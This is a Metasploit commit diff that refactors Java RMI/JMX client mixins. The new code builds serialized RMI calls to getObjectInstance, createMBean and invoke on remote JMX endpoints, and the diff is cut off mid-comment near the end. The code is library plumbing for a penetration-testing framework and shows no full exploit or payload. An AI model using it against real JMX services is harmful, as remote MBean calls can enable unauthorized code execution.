Land #5002, RMI/JMX improvements
commit
e03f2df691
|
@ -76,11 +76,9 @@ require 'msf/http/jboss'
|
|||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -1,39 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
require 'msf/java/jmx/util'
|
||||
require 'msf/java/jmx/discovery'
|
||||
require 'msf/java/jmx/handshake'
|
||||
require 'msf/java/jmx/mbean'
|
||||
|
||||
include Msf::Java::Jmx::Util
|
||||
include Msf::Java::Jmx::Discovery
|
||||
include Msf::Java::Jmx::Handshake
|
||||
include Msf::Java::Jmx::Mbean
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def jmx_role
|
||||
datastore['JMX_ROLE']
|
||||
end
|
||||
|
||||
def jmx_password
|
||||
datastore['JMX_PASSWORD']
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,29 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle JMX end points discovery
|
||||
module Discovery
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to discover
|
||||
# an JMX RMI endpoint
|
||||
#
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def discovery_stream
|
||||
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(
|
||||
nil,
|
||||
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,56 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle a JMX handshake
|
||||
module Handshake
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to make
|
||||
# a JMX handshake with an endpoint
|
||||
#
|
||||
# @param id [String] The endpoint UnicastRef ObjId
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def handshake_stream(obj_id)
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
|
||||
if jmx_role
|
||||
username = jmx_role
|
||||
password = jmx_password || ''
|
||||
|
||||
stream.contents << auth_array_stream(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an authenticated handshake
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
def auth_array_stream(username, password)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
auth_array
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,13 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
require 'msf/java/jmx/mbean/server_connection'
|
||||
|
||||
include Msf::Java::Jmx::Mbean::ServerConnection
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,155 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
# This module provides methods which help to handle with MBean related calls.
|
||||
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
|
||||
# class
|
||||
module ServerConnection
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the createMBean method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def create_mbean_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
|
||||
# Java getObjectInstance method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def get_object_instance_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the Java invoke method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :object the object whose method we want to call
|
||||
# @option opts [String] :method the method name to invoke
|
||||
# @option opts [String] :args the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
arguments = opts[:args] || {}
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: 0xacf317f8060854e0, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: invoke_arguments_stream(arguments).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
stream.contents << marshall_object
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java invoke method method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_arguments_stream(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,89 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle data
|
||||
# used by Java JMX
|
||||
module Util
|
||||
|
||||
# Extracts a Rex::Java::Serialization::Model::NewObject from
|
||||
# a Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
|
||||
# @param id [Fixnum] the content position storing the object
|
||||
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
|
||||
def extract_object(stream, id)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[id]
|
||||
new_object = stream.contents[id]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('n')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('N')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts an UnicastRef (endpoint) information from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Hash, nil] the extracted int if success, nil otherwise
|
||||
def extract_unicast_ref(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
id = io.read
|
||||
|
||||
{ address: address, port: port, id: id }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,96 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Builder
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Fixnum] :object_number Random to identify the object.
|
||||
# @option opts [Fixnum] :uid_number Identifies the VM where the object was generated.
|
||||
# @option opts [Fixnum] :uid_time Time where the object was generated.
|
||||
# @option opts [Fixnum] :uid_count Identifies different instance of the same object generated from the same VM
|
||||
# at the same time.
|
||||
# @option opts [Fixnum] :operation On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
|
||||
# it is -1.
|
||||
# @option opts [Fixnum] :hash On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
|
||||
# representing the method to call.
|
||||
# @option opts [Array] :arguments
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
operation = opts[:operation] || -1
|
||||
hash = opts[:hash] || 0
|
||||
arguments = opts[:arguments] || []
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.new(
|
||||
number: uid_number,
|
||||
time: uid_time,
|
||||
count: uid_count
|
||||
)
|
||||
|
||||
call_data = Rex::Proto::Rmi::Model::CallData.new(
|
||||
object_number: object_number,
|
||||
uid: uid,
|
||||
operation: operation,
|
||||
hash: hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -8,9 +8,15 @@ module Msf
|
|||
module Rmi
|
||||
module Client
|
||||
|
||||
require 'msf/java/rmi/client/streams'
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/builder'
|
||||
require 'msf/java/rmi/client/registry'
|
||||
require 'msf/java/rmi/client/jmx'
|
||||
|
||||
include Msf::Java::Rmi::Client::Streams
|
||||
include Msf::Java::Rmi::Util
|
||||
include Msf::Java::Rmi::Builder
|
||||
include Msf::Java::Rmi::Client::Registry
|
||||
include Msf::Java::Rmi::Client::Jmx
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Returns the target host
|
||||
|
@ -50,12 +56,13 @@ module Msf
|
|||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @option opts [Rex::Proto::Rmi::Model::Call] :call
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_call(opts)
|
||||
nsock.put(stream.encode)
|
||||
call = opts[:call] || build_call(opts)
|
||||
nsock.put(call.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
|
@ -74,14 +81,15 @@ module Msf
|
|||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -93,14 +101,16 @@ module Msf
|
|||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Java::Serialization::Stream]
|
||||
# @return [Rex::Proto::Rmi::Model::ReturnValue] if success
|
||||
# @return [NilClass] otherwise
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
rescue Rex::Proto::Rmi::DecodeError
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -109,8 +119,8 @@ module Msf
|
|||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @param nsock [Rex::Socket::Tcp]
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
require 'msf/java/rmi/client/jmx/server'
|
||||
require 'msf/java/rmi/client/jmx/connection'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Server
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection
|
||||
|
||||
OBJECT_NAME_UID = 1081892073854801359
|
||||
BYTE_ARRAY_UID = -5984413125824719648
|
||||
MARSHALLED_OBJECT_UID = 8988374069173025854
|
||||
STRING_ARRAY_UID = -5921575005990323385
|
||||
OBJECT_ARRAY_UID = -8012369246846506644
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,122 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
# This mixin provides methods to simulate calls to the Java
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub
|
||||
# interface
|
||||
module Connection
|
||||
require 'msf/java/rmi/client/jmx/connection/builder'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_get_object_instance
|
||||
def send_jmx_get_object_instance(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_get_object_instance(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
|
||||
def send_jmx_create_mbean(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_create_mbean(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
|
||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# method.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
|
||||
def send_jmx_invoke(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_invoke(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'java.util.HashSet'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,236 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Connection
|
||||
module Builder
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_get_object_instance(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
arguments = build_jmx_get_object_instance_args(name)
|
||||
|
||||
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_get_object_instance_args(name = '')
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
arguments = [
|
||||
new_object,
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
# used to retrieve an MBean instance
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_jmx_create_mbean(opts = {})
|
||||
name = opts[:name] || ''
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||
|
||||
arguments = build_jmx_create_mbean_args(name)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Array]
|
||||
def build_jmx_create_mbean_args(name = '')
|
||||
arguments = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::NullReference.new
|
||||
]
|
||||
|
||||
arguments
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||
# used to invoke an MBean method
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the MBean name
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
# @see #build_jmx_invoke_args
|
||||
def build_jmx_invoke(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
|
||||
|
||||
arguments = build_jmx_invoke_args(opts)
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: -1,
|
||||
hash: method_hash,
|
||||
arguments: arguments
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an an array of arguments o build a call to
|
||||
